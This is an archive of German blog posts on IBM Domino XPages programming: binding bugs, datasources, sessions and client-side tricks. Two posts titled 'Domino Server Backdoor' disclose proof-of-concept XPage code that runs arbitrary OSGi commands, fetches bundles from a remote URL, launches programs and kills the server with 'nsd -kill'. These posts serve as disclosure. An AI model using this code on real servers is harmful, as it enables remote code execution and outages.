Posts Tagged: ‘ServerSide JavaScript’

Bug: Invalider Java-Code durch berechnete Tag-Attribute

17. Februar 2012 Posted by Sven Hasselbach

António A Ramos hat einen interessanten Bug entdeckt: Werden die Attribute eines HTML-Tags im Designer berechnet, wird die XPage nicht mehr verarbeitet und ein Internal Server Error tritt auf

So wird der folgende HTML-Tag ordnungsgemäß gerendert…

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <li data-theme="e"></li>
</xp:view>

… jedoch ist eine Berechung nicht zulässig:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <li data-theme="#{javascript:'e'}"></li>
</xp:view>

Der Grund ist dabei die Umsetzung in den Java-Code, denn dieser verwendet das Attribute ungeprüft als Variablenname – was natürlich fehl schlagen muss.

So sieht der generierte Java-Code aus:

Ein Workaround ist, den generierten Java-Code direkt im Designer zu ändern und fehlerhafte Variablendeklaration von Hand zu bereinigen – allerdings muss der Vorgang nach jedem Build wiederholt werden.

“Compute Dynamically” Vs. “Compute on Page Load”

11. Februar 2012 Posted by Sven Hasselbach

Der Artikel von Mark Roden über den Mix von ${} und #{} zur gleichen Zeit brachte mich dazu, mich noch einmal ausführlich mit dem Thema “Compute Dynamically” und “Compute on Page Load” zu befassen, denn der hervorragende Artikel von Paul Withers erläutert zwar die grundsätzlichen Unterschiede zwischen den beiden Berechnungsvarianten, allerdings gibt es noch ein paar Ungereimtheiten.

Um einen Überblick über die Unterschiede bei der Verwendung aufzuzeigen, sind hier zehn Varianten aufgeführt, die in einigen Fällen interessante Ergebnisse liefern.

Zur Erläuterung:

  • XSP-Code ist der Code in der XPage
  • Java Code ist ein Screenshot des generierten Java Codes
  • Page Load ist ein Screenshot, wenn die Test-XPage geöffnet wird
  • Partial Refresh ist ein Screenshot nach eine Refresh des Computed Fields
  • Ergebnis stellt die Bewertung der Variante dar. Ob der Code wirklich mehrfach ausgeführt wurde, ist nicht geprüft worden, sondern nur das “sichtbare” Ergebnis im Browser

 

Variante 1: Compute Dynamically

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[#{javascript:java.lang.System.currentTimeMillis()}]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Wird jedesmal neu berechnet.

 

Variante 2: Compute on Page Load

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[${javascript:java.lang.System.currentTimeMillis()}]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung nur bei Page Load.

 

Variante 3: Compute Dynamically inside Compute on Page Load

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[${javascript:#{javascript:java.lang.System.currentTimeMillis()}}]]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung nur bei Page Load.

 

Variante 4: Compute on Page load inside Compute Dynamically

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[#{javascript:${javascript:java.lang.System.currentTimeMillis()}}]]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung nur bei Page Load.

 

Variante 5: Compute Dynamically inside Compute on Page Load (Hochkomma)

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[${javascript:'#{javascript:java.lang.System.currentTimeMillis()}']]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Wird jedesmal neu berechnet.

 

Variante 6: Compute on Page Load inside Compute Dynamically (Hochkomma)

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[#{javascript:'${javascript:java.lang.System.currentTimeMillis()}']]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung des “inneren” Codes findet nicht mehr statt.

 

Variante 7: Compute on Page Load inside inside Compute on Page Load (Hochkomma)

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[${javascript:'${javascript:java.lang.System.currentTimeMillis()}']]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung des “inneren” Codes findet nicht statt.

 

Variante 8: Compute Dynamically inside Compute Dynamically (Hochkomma)

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[#{javascript:'#{javascript:java.lang.System.currentTimeMillis()}']]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung des “inneren” Codes findet nicht statt.

 

Variante 9: Compute Dynamically inside Compute Dynamically (Hochkomma + Leerzeichen)

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[#{javascript:' #{javascript:java.lang.System.currentTimeMillis()} ']]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung des “inneren” Codes findet nicht statt.

 

Variante 10: Compute on Page Load inside Compute on Page Load (Hochkomma)

XSP Code

<xp:text id="computedField1">
   <xp:this.value>
      <![CDATA[${javascript:' ${javascript:java.lang.System.currentTimeMillis()} ']]>
   </xp:this.value>
</xp:text>

Java Code

Page Load

Partial Refresh

Ergebnis

Berechnung des “inneren” Codes findet immer statt.

“It’s not a feature, it’s a bug!”

10. Februar 2012 Posted by Sven Hasselbach

In meinem letzten Beitrag habe ich einen Bug entdeckt, den ich an dieser Stelle noch etwas ausführlicher darstellen möchte, denn es handelt sich hierbei nicht um ein normales Verhalten von JSF, sondern schlichtweg um einen Bug während der Transformation nach Java.

Im Vorfeld möchte ich jedoch auf einen sehr guten Artikel von Paul Withers aufmerksam machen, in dem ausführlich dargestellt wird, wie es sein müsste:

http://www.intec.co.uk/xpages-bindings-when-runs-at-page-load/

Der Einfachheit halber greife ich das von Paul gegebene Beispiel auf, um den Bug zu verdeutlichen. Ergänzt man nämlich den Code um Anführungszeichen, dann wird der “On Page Load“-Code nicht mehr ausgeführt:

<xp:text id="computedField2" escape="true"
 value="You are logged in as '${javascript:@UserName()}'.
The fields id is #{id:computedField1}"></xp:text>

[Fett: Der "On Page Load"-Code // In Rot: Die zusätzlichen Anführungszeichen]

Das Ergebnis ist dann folgendes:

Zurückzuführen ist das auf einen Fehler bei der Transformierung, der generierte Javacode sieht wie folgt aus:

Dies ist ein Bug im Designer, denn jedwede Form der ${}-Syntax wird ungeprüft als “On Page Load” interpretiert. So wird der folgende Code trotz Fehler in EL übersetzt…

… hingegen wird diese Variante ordnungsgemäß als Fehler markiert und lässt sich nicht speichern:

Irrtümlicherweise habe ich in meinem vorigen Artikel weitere Beispiele aufgeführt, die Code enthalten, der ohne das Anführungszeichen ausgeführt wird. Dies war im Zuge des Schreiben des letzten Artikels, als ich noch weitere Test gemacht habe. Hier ist das Verhalten natürlich JSF-konform und der Code wird ordnungsgemäß ausgeführt.

Meine Beobachtung bezüglich der fehlerhaften Transformation jedoch bezieht sich nicht nur auf Output Scripts, sondern um jede Art des Value Bindings: Sobald eine x-beliebige Kombination von ${} (auch über mehrere Zeilen etc.) vorkommt, tritt der Fehler auf.

Bug: ${} in Output Script-Blöcken

8. Februar 2012 Posted by Sven Hasselbach

Bei der Verwendung eines Output Scripts muss darauf geachtet werden, dass kein Code verwendet wird, der eine Zeichenfolge beinhaltet, die eine “Compute On Load“-ähnliche Syntax hat: Ein Bug sorgt dafür, das bei der Verwendung von ${} (mit oder ohne Inhalt) einiges durcheinander gerät, und der komplette SSJS-Code falsch verarbeitet wird.

So gibt folgender Code wie zu erwarten eine Messagebox mit der Id des Labels aus…

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:label value="Label" id="label1"></xp:label>
   
   <xp:scriptBlock id="scriptBlock1">
      <xp:this.value>
         <![CDATA[$
            var id = '#{id:label1}';
            alert( id );
         ]]>
      </xp:this.value>
   </xp:scriptBlock>
   
</xp:view>

… wird aber an irgendeiner Stelle im Script Block die genannte Kombination verwendet, gerät alles in Schieflage:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:label value="Label" id="label1"></xp:label>
   
   <xp:scriptBlock id="scriptBlock1">
      <xp:this.value>
         <![CDATA[
            var id = '#{id:label1}';
            var bug = '${id:label1}';
             alert( "id: " + id + "\nbug: " + bug);
         ]]>
      </xp:this.value>
   </xp:scriptBlock>
   
</xp:view>

Die Variable id ist leer, und die Variable bug wird nicht verändert:

Es spielt keine Rolle an, welcher Stelle im Script Block die fehlerhafte Variante vorkommt, auch der Inhalt zwischen den eckigen Klammern ist unbedeutent: Ein auskommentierter Code über mehrer Zeilen hat die gleiche Auswirkung!

Varianten wie z.B.

//var bug = '${
// Kein Text!
//}';

oder

var bug = ${X}

werfen keine Fehler, sondern generieren im besten Fall “nur” fehlerhaften CSJS-Code.

Erst wenn keine Anführungszeichen verwendet werden und die EL-Syntax fehlerhaft ist, tritt ein Laufzeitfehler auf.

var bug = ${/EL}

 

Der Bug existiert in 8.5.2 als auch in 8.5.3. Andere Versionen können ebenfalls betroffen sein.

DataContext-Variablen

1. Februar 2012 Posted by Sven Hasselbach

Will man auf die DataContext-Variablen einer XPage zugreifen, gibt es die Möglichkeit, die Methode getDataContexts() zu verwenden, die für jede UIComponent existiert. Die Methode liefert eine java.util.List zurück, die sich z.B. in einen Array verwandeln lässt, um auf die einzelnen Mitglieder zu zugreifen. Die Mitglieder wiederum sind vom Typ com.ibm.xsp.model.DataContext, mit getVars() lässt sich auf den Inhalt der jeweiligen Variable zugreifen.

Hier ein Beispiel:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:this.dataContexts>
      <xp:dataContext var="dcVar" value="1" />
   </xp:this.dataContexts>

   <xp:text escape="true" id="computedField1">
      <xp:this.value>
         <![CDATA[#{javascript:
         var lc:java.util.List = view.getDataContexts();
         var dc:com.ibm.xsp.model.DataContext = lc.toArray()[0];
         dc.getVars().toString()
         }]]>
      </xp:this.value>
   </xp:text>
</xp:view>

[Fett: Die DataContext-Variable // Rot: Die UIComponent, an der die Variable "hängt"]

In diesem Beispiel ist die Variable direkt der UIViewRoot-Komponente zugeordnet worden. Ist die Variable an einer anderen UIComponent (z.B. einem Custom Control), muss auf den DataContext dieser Komponente zugegriffen werden. Ist also eine DataContext-Variable im Custom Control definiert, nicht jedoch in der eigentlichen XPage, so würde ein view.getDataContexts() nichts zurück liefern.

Um auf die Variablen eines Custom Controls zuzugreifen, muss also entweder der komplette Komponentenbaum durchlaufen werde, oder das Custom Control muss mit id definiert sein, um referenziert werden zu können.

Hier das Custom Control ccDCVar:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

   <xp:this.dataContexts>
      <xp:dataContext var="dcVarCC" value="2" />
   </xp:this.dataContexts>

</xp:view>

Die XPage, die auf das Custom Control zugreift, kann dann wie folgt aufgebaut sein:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core"
         xmlns:xc="http://www.ibm.com/xsp/custom">

   <xc:ccDCVar id="cc1"></xc:ccDCVar>

   <xp:text escape="true" id="computedField1">
      <xp:this.value>
         <![CDATA[#{javascript:
         var lc:java.util.List = getComponent("cc1").getDataContexts();
         var dc:com.ibm.xsp.model.DataContext = lc.toArray()[0];
         dc.getVars().toString()
         }]]>
      </xp:this.value>
   </xp:text>
</xp:view>

 [Fett: Zugriff auf die UIComponent mittels getComponent()  // Rot: Id des Custom Controls]

Security: Domino Server Backdoor (2)

19. Januar 2012 Posted by Sven Hasselbach

Aus einer XPages-Applikation lässt sich der XSP Command Manager (das zugrundeliegende OSGi Framework) fernsteuern. Das Kommando entspricht dem Befehl

tell http xsp <BEFEHL>

auf der Domino Serverkonsole, nur dass hierfür kein Serverkonsolenzugriff benötigt wird.

Mit Hilfe der folgenden XPage lassen sich beliebige OSGi-Kommandos absetzen, also z.B. Prozesse starten, Bundles installieren (egal von welcher Quelle, auch aus dem Internet) und vieles mehr.

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
   <xp:button value="Send XSP Command" id="button2">
      <xp:eventHandler
         event="onclick"
         submit="true"
         refreshMode="complete">
         <xp:this.action><![CDATA[#{javascript:
            var cmd = getComponent("inputTextXSPCmd").value;
            if( cmd == null || cmd == "")
               return;
            var xcm = com.ibm.domino.xsp.bridge.http.engine.XspCmdManager.getInstance();
            xcm.tell( cmd );}]]>
         </xp:this.action>
      </xp:eventHandler>
   </xp:button>
   <xp:inputText id="inputTextXSPCmd" />
</xp:view>

Die Seite sieht wie folgt aus:

Beim Klicken auf “Send XSP Command” kann man das Ergebnis auf der Serverkonsole sehen:

Hier ein kleiner Auszug über mögliche Kommandos:

  • exec <PROGNAME> startet ein beliebiges Programm
  • fork <PROGNAME> startet ein beliebiges Programm in einem eigenen Thread
  • install http://example.com/osgi-bundle.jar start installiert ein OSGi-Bundle von der angegebenen Adresse
  • init stoppt das gesamte Framework
  • ss listet alle Bundles auf
  • help zeigt alle möglichen Befehle an.

Auch Heap-, System, und Java-Dumps lassen sich hierdurch erstellen.

Security: Domino Server Backdoor

7. Januar 2012 Posted by Sven Hasselbach

Mit XPages lässt sich ein Domino Server auf einfachste Weise lahm legen, da man über die Java Runtime beliebige Threads starten kann.

Ein kleiner Button startet z.B. Notepad auf einem Windows Domino Server:

<xp:button value="Start NotePad!" id="buttonStartNotePad">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="norefresh">
      <xp:this.action>
         <![CDATA[#{javascript:
            java.lang.Runtime.getRuntime().exec("notepad");}]]>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>

 

Bei jedem Klick wird auf dem Domino Server einmal Notepad gestartet. Eine kleine Schleife, und auch ein großzügig dimensionierter Server geht in die Knie.

Richtig übel wird es allerdings, wenn dieser Button geklickt wird:

ACHTUNG! NICHT AUF PRODUKTIVEN SYSTEMEN AUSFÜHREN!

<xp:button value="KILL NOTES!" id="buttonKillNotes">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="norefresh">
      <xp:this.action>
         <![CDATA[#{javascript:
            java.lang.Runtime.getRuntime().exec("nsd -kill");}]]>
         </xp:this.action>
      </xp:eventHandler>
</xp:button>

Dann ist der Domino Server weg!

Bei dem “zerlegten” Server handelt es sich um eine Standard-Installation. Die java.policy wurde nicht geändert.

Quick-n-Dirty: Locale setzen

5. Januar 2012 Posted by Sven Hasselbach

Um die Locale-Einstellung einer XPage programmatisch zu beeinflussen, kann die Methode setLocaleString bzw. setLocale des context-Objektes verwendet werden.  Damit die Änderungen übernommen wird, muss die Einstellung im BeforePageLoad gesetzt werden.

So ändert ein…

context.setLocaleString("zh-tw")

… bzw. ein …

context.setLocale(java.util.Locale.TAIWAN)

…die Spracheinstellungen der generierten XPage. Sowohl das lang-Attribute der HTML-Seite als die Dojo-Konfiguration wird dabei gesetzt:

<!DOCTYPE html>
<html lang="zh-tw">
<script type="text/javascript"
src="/xsp/.ibmxspres/dojoroot-1.6.1/dojo/dojo.js"
djConfig="locale: 'zh-tw', parseOnLoad: true"></script>

Durch diese Änderung wird z.B. der Datepicker-Dialog des DojoToolkit auf Taiwanisch gerendert.

Eine Liste der möglichen Einstellungen findet sich in der Beschreibung des java.util.Locale-Objektes.

Domino Datasources On-the-Fly (3): ValueBinding & MethodBinding

29. Dezember 2011 Posted by Sven Hasselbach

Das ist der dritte Teil der Serie “Domino Datasources On-the-Fly”. Der zweite Teil findet sich hier.

Will man eine Wertezuweisung berechnen lassen, muss ein ValueBinding erstellt werden. Damit lässt sich dann z.B. der Formname eines DominoDocumentData-Objektes berechnen (zugegebenermaßen ein kleinwenig sinnlos, da man dies im Code sowieso erledigen könnte…).

Hierfür existiert die Methode createValueBinding() der Application-Klasse, mit der ein neues ValueBinding-Objekt instanziert werden kann:

var app = facesContext.getApplication();
var vb = app.createValueBinding("#{javascript:@Text(@Now())}");

Dieses ValueBinding muss dem jeweiligen Datasource-Objekt über die Methode setValueBinding() zugewiesen werden. Als erster Parameter muss der Name der zu setzenden Eigenschaft angegeben werden, dann folgt das jeweilige ValueBinding-Objekt.

var data = new com.ibm.xsp.model.domino.DominoDocumentData();
data.setVar("document1");
data.setValueBinding("formName", vb);
view.addData(data);

Die Fett hervorgehobene Eigenschaft entspricht dem Parameter im XPages Source:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">
    <xp:this.data>
        <xp:dominoDocument var="document1"
           formName="#{javascript:@Text(@Now())}" />
    </xp:this.data>
</xp:view>

Allerdings ist diese Zuweisung nicht bei allen Eigenschaften möglich! Bei noch auszuführenden Methoden wie z.B. dem QuerySaveDocument-Event muss stattdessen mit einem MethodBinding-Objekt gearbeitet werden. Wieder findet die Instanzierung über das Application-Objekt statt:

var code = "";
code += "#{javascript:document1.replaceItemValue(\"Test\"";
code += ", @Text(@Now()));}";
var mb = app.createMethodBinding( code, null);

Eine Methode setMethodBinding() existiert jedoch nicht; das MethodBinding-Objekt muss daher über spezielle Methoden dem jeweiligen DataSource-Objektes zugewiesen werden. Die Namensgebung der Methoden ist hierbei jedoch trivial, es muss nur ein “set” vor die jeweilige Methode gestellt werden:

var data = new com.ibm.xsp.model.domino.DominoDocumentData();
data.setVar("document1");
data.setQuerySaveDocument(mb);
view.addData(data);

Hier noch der Source einer vollständigen Beispiel-Implementierung:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

<xp:button value="Create Datasource" id="button1">
   <xp:eventHandler event="onclick" submit="true"
       refreshMode="complete">
       <xp:this.action>
           <![CDATA[#{javascript:
              var app = facesContext.getApplication();
           var data = new com.ibm.xsp.model.domino.DominoDocumentData();

           data.setVar("document1");

           var value = "#{javascript:@Text(@Now())}";
           var vb = app.createValueBinding(value);
           data.setValueBinding("formName", vb);

           var code = "";
           code += "#{javascript:document1.replaceItemValue(\"Test\"";
           code += ", @Text(@Now()));}";
           var mb = app.createMethodBinding( code, null);
           data.setQuerySaveDocument(mb); 

           view.addData(data);
        }]]>
       </xp:this.action>
   </xp:eventHandler>
</xp:button>
<xp:button value="Use Datasource" id="button2">
   <xp:eventHandler event="onclick" submit="true"
     refreshMode="complete">
      <xp:this.action>
         <xp:actionGroup>
            <xp:executeScript>
               <xp:this.script>
                  <![CDATA[#{javascript:
                     document1.setValue("Feld", "ABC");
                  }]]>
               </xp:this.script>
              </xp:executeScript>
           <xp:saveDocument var="document1" />
         </xp:actionGroup>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
</xp:view>

Domino Datasources On-the-Fly (2): DominoDataView

27. Dezember 2011 Posted by Sven Hasselbach

Das ist der zweite Teil der Serie “Domino Datasources On-the-Fly”. Der erste Teil findet sich hier.

Views lassen sich ebenfalls programmatisch erstellen, allerdings muss mindestens der Name der Ansicht angegeben sein (und ausserdem muss die Ansicht existieren):

var data = new com.ibm.xsp.model.domino.DominoViewData();
data.setVar("view1");
data.setViewName("All");
view.addData(data);

Hier eine Beispiel-Implementierung in eine XPage (in der Datenbank muss die Ansicht “All” vorhanden sein) :

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

<xp:button value="Create Datasource" id="button1">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="partial" refreshId="label1">
      <xp:this.action>
         <![CDATA[#{javascript:
            var data = new com.ibm.xsp.model.domino.DominoViewData();
            data.setVar("view1");
            data.setViewName("All");
            view.addData(data);
         }]]>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
<xp:label id="label1">
   <xp:this.value><![CDATA[#{javascript:
      try{
         view1.getName();
      }catch(e){e}
    }]]>
    </xp:this.value>
   </xp:label>
</xp:view>

Folgende Eigenschaften können bei einem DominoViewData-Objekt gesetzt werden (Stand 8.5.3):

  • setParentId(String)
  • setSearchList(String)
  • setDatabaseName(String)
  • setVar(String)
  • setSearch(String)
  • setExpandLevel(int)
  • setSearchExactMatch(boolean)
  • setViewName(String)
  • setSortOrder(String)
  • setRequestParamPrefix(String)
  • setSortColumn(String)
  • setKeys(String)
  • setScope(String)
  • setStartKeys(String)
  • setSearchVariants(boolean)
  • setCategoryFilter(String)
  • setSearchMaxDocs(int)
  • setDataCache(String)
  • setKeysExactMatch(String)
  • setIgnoreRequestParams(boolean)
  • setSearchFuzzy(boolean)

Eine vollständige Liste findet sich hier.

Im nächsten Teil werden die Eigenschaften des DominoDataDocument-Objekts vorgestellt.

Domino Datasources On-the-Fly (1): Basics

23. Dezember 2011 Posted by Sven Hasselbach

Um eine Datasource On-the-Fly mittels SSJS zu erstellen, muss zum Einen ein neues Datasource-Objekt instanziert werden, zum Anderen die neue Datenquelle der XPage bekannt gegeben werden.

Mit dem folgenden Code wird eine neue Document Datasource namens document1 erstellt und dann dem UIViewRoot-Element bekannt gemacht:

var data = new com.ibm.xsp.model.domino.DominoDocumentData();
data.setVar("document1");
view.addData(data);

Direkt nach der Anlage lässt sich die Datenquelle leider noch nicht im Code verwenden, d.h. ein “document1.save()” schlägt an dieser Stelle fehl. Die neue Datasource kann aber in einem anderen Code-Segment wie gewohnt verwendet werden.

Hier eine Beispiel-Implementierung in eine XPage:

<?xml version="1.0" encoding="UTF-8"?>
<xp:view xmlns:xp="http://www.ibm.com/xsp/core">

<xp:button value="Create Datasource" id="button1">
   <xp:eventHandler event="onclick" submit="true"
      refreshMode="complete">
      <xp:this.action>
         <![CDATA[#{javascript:
            var data = new com.ibm.xsp.model.domino.DominoDocumentData();
            data.setVar("document1");
            data.setFormName("DynData");  
            view.addData(data);
         }]]>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
<xp:button value="Use Datasource" id="button2">
   <xp:eventHandler event="onclick" submit="true"
     refreshMode="complete">
      <xp:this.action>
         <xp:actionGroup>
            <xp:executeScript>
               <xp:this.script>
                  <![CDATA[#{javascript:
                     document1.setValue("Feld", "ABC");
                  }]]>
               </xp:this.script>
              </xp:executeScript>
           <xp:saveDocument var="document1" />
         </xp:actionGroup>
      </xp:this.action>
   </xp:eventHandler>
</xp:button>
</xp:view>

Die XPage besteht aus zwei Buttons: Mit “Create Datasource” wird eine neue Datasource angelegt, mit “Use Datasource” die neue DocumentDatasource verwendet und gespeichert. Wird der Button “Use Datasource” geklickt, bevor die neue Datasource angelegt wurde, tritt (logischerweise) ein Fehler auf.

Im nächsten Teil geht es um die möglichen Eigenschaften des Domino Document Data- und des Domino View Data-Objektes.

Quick-n-Dirty: Die HTTP-Session des Domino-Servers

14. Dezember 2011 Posted by Sven Hasselbach

Um mit SSJS auf die HTTP-Session eines Domino-Servers zuzugreifen, ist nicht viel Code nötig:

var exCon = facesContext.getExternalContext();
var sess = exCon.getRequest().getSession();

Dadurch lassen sich folgende Informationen ermitteln:

  • getAttribute(Name:String)

Liefert gebundenes Objekt des Attributes “Name” zurück

  • getAttributeNames()

Liefert die Namen aller Attribute als java.util.Enumeration zurück.

  • getCreationTime()

Zeit der Session-Erstellung, Millisekunden seit 1.1.1970 GMT, z.B. “1.323785660873E12″

  • getId()

Liefert die aktuelle SessionID zurück, z.B. “D18P2LFFB5″

  • getLastAccessedTime()

Zeit, an der die Session zuletzt aufgerufen wurde. In Millisekunden seit 1.1.1970 GMT, z.B. “1.323785660873E12″

  • getMaxInactiveInterval()

Länge der maximalen Gültigkeit einer Session (in Sekunden) , die vom Servlet ohne Clientaktivität abgewartet wird.

  • isNew()

True, wenn der Client die Sessio noch nicht kennt, false wenn der Client einer bestehende Session beitritt.

  • invalidate()

Setzt eine Session zurück und löscht alle Daten der Session

  • removeAttribute(Name:String)

Löscht das Attribut “Name” und entfernt das gebundene Objekt

  • setAttribute(Name:String, obj:Object)

Setzt das Attribut “Name” mit dem Objekt “obj“.

  • setMaxInactiveInterval(int interval)

Setzt maximale Länge der Session in Sekunden, bis das Servlet die Session ablaufen lässt.

 

Um die Attribute einer Session auszugeben, kann z.B. folgender Code verwendet werden:

var attr = sess.getAttributeNames();
while( attr.hasMoreElements() ){
   var elem = attr.nextElement();
   result += elem + " -> ";
   result += sess.getAttribute( elem );
   result += " [";
   result += typeof(sess.getAttribute( elem ));
   result += "]";
 }

result

Quick-n-Dirty: Hijacking TypeAhead in CSJS

9. Dezember 2011 Posted by Sven Hasselbach

Matthias Nicklisch hat eine interessante Frage im XPages Forum gestellt, nachdem er festgestellt hat, dass im Designer zwar ein OnStart- / OnComplete-Event für die TypeAhead-Funktion angeboten wird, der Code aber als Deprecated angezeigt wird – und auf der XPage auch nicht funktioniert: Wie kann ein OnStart- / OnComplete-Event trotzdem verwendet werden?

Meine Idee dazu ist, den darunter liegenden dojo.xhr-Request zu hijacken, und auf diese Weise die Events zu erhalten. Dadurch lässt sich der Code bequem auf die jeweilige XPage einbetten, ohne das eine Manipulation der original Javascript-Dateien erfolgen muss.

Der folgender Code muß in einem CSJS-Scriptblock eingebettet werden. Dann erhält man für die TypeAhead-Funktion die Events, um zum Beispiel ein kleines “Loading”-Icon einzublenden, wenn die Daten vom Domino Server geladen werden.

var typeAheadLoad;

dojo.addOnLoad( function(){
   /*** hijacking xhr request ***/
   if( !dojo._xhr )
      dojo._xhr = dojo.xhr;

   dojo.xhr = function(){
      try{
         var args = arguments[1];
         if( args['content'] ){
            var content = args['content'];
               if( content['$$ajaxmode'] ){
                  if( content['$$ajaxmode'] == "typeahead" ){
                
                     /*** hook in load function ***/
                     typeAheadLoad = args["load"];

                     /*** overwrite error function ***/
                     args["error"] = function(){
                        alert('Error raised!')
                     };
                    
                     /*** hijack load function ***/
                     args["load"] = function(arguments){
                 
                        /*** On Start ***/
                        alert("On Start!");
                    
                        /*** call original function ***/
                        typeAheadLoad(arguments);
                    
                        /*** On Complete ***/
                        alert("On Complete!")
                     };
                 }
             }
         }
      }catch(e){}
      dojo._xhr( arguments[0], arguments[1], arguments[2] );
   }
});

Performance-Tuning (6): Parallele Partial Refreshs

7. Dezember 2011 Posted by Sven Hasselbach

Multiple Partial Refreshs sind eine schöne Sache, um mehrere Elemente einer XPage zu aktualisieren. Doch da die AJAX-Requests generell asynchron verarbeitet werden, stellt sich die Frage, in wieweit es erforderlich ist, sie sequentiell wie in dem verlinkten Beispiel abzuarbeiten: Denn je länger die Kette der Partial Refreshs ist, desto mehr Performance gewinnt man, wenn man stattdessen mit parallenen Aufrufen arbeitet.

Das verlinkte Beispiel sieht in der parallelen Variante wie folgt aus:

XSP.partialRefreshGet(id1);
XSP.allowSubmit();
XSP.partialRefreshGet(id2);
XSP.allowSubmit();
XSP.partialRefreshGet(id3);

Das Ergebnis unterscheidet sich nicht von von der sequentiellen Variante, ausser der Tatsache, das die Performance im Client deutlich höher ist. Zwischen den einzelnen Partial Refreshs muss nur die Funktion XSP.allowSubmit() aufgerufen werden, um die interne “Refresh-Sperre” zurück zu setzen (Eine kurze Erläuterung hierzu findet sich in Matthias Blog).

Die Events der Parial Refreshs (OnComplete, OnError, OnStart) können natürlich wie sonst auch verwendet werden.

Wichtig ist nur, dass man eine “Feinabstimmung” vornimmt, denn es läßt sich aufgrund der Asynchronität nicht voraussagen, in welcher Reihenfolge die Partial Refreshs verarbeitet werden: Sind z.B. die Elemente im DOM-Baum voneinander abhängig und ein Element wird durch ein Partial Refresh ausgeblendet, kann das natürlich zu ungewollten Fehlern führen – und ein sequentielles Aufrufen erforderlich machen. Doch wo es möglich ist, sollte aus Performancegründen der Einsatz von parallel ausgeführten Partial Refreshs erfolgen.

Quick-n-Dirty: Das xp:hidden-Element

6. Dezember 2011 Posted by Sven Hasselbach

Durch die Verwendung des <xp:hidden>-Elements lässt sich ein verstecktes Feld auf der XPage anlegen.

Hier ein Beispiel mit einem statischen Wert:

<xp:inputHidden id="inputHidden1" value="abc" />

Die XPages-Engine rendert daraus diesen HTML-Code:

<input type="hidden" id="view:_id1:inputHidden1"
   name="view:_id1:inputHidden1" value="abc">

Soweit so gut, doch wenn man den Wert dynamisch zuweisen will, rendert die XPages-Engine nicht mehr ein referenzierbares Feld,…

<xp:inputHidden id="inputHidden1">
   <xp:this.value>
      <![CDATA[#{javascript:"abc"}]]>
   </xp:this.value>
</xp:inputHidden>

… sondern einen <span>-Tag, der natürlich auch den Wert nicht enthält:

<span id:"view:_id1:inputHidden1"></span>

Will man trotzdem den Wert des Feldes berechnen, gibt es zwei Möglichkeiten:

1. Die Berechnung wird auf Compute on page load geändert:

<xp:inputHidden id="inputHidden1">
   <xp:this.value>
      <![CDATA[${javascript:"abc"}]]>
   </xp:this.value>
</xp:inputHidden>

2. Dem Feld wird eine Scope-Variable oder einem Dokumentenfeld via EL zugewiesen

<xp:inputHidden id="inputHidden1" value="#{viewScope.hiddenField}">
<xp:inputHidden id="inputHidden1" value="#{document1.hiddenField}">

Dann wird wie in der statischen Variante ein verstecktes Feld generiert, was sich sowohl mit CSJS als auch mit SSJS verarbeiten lässt.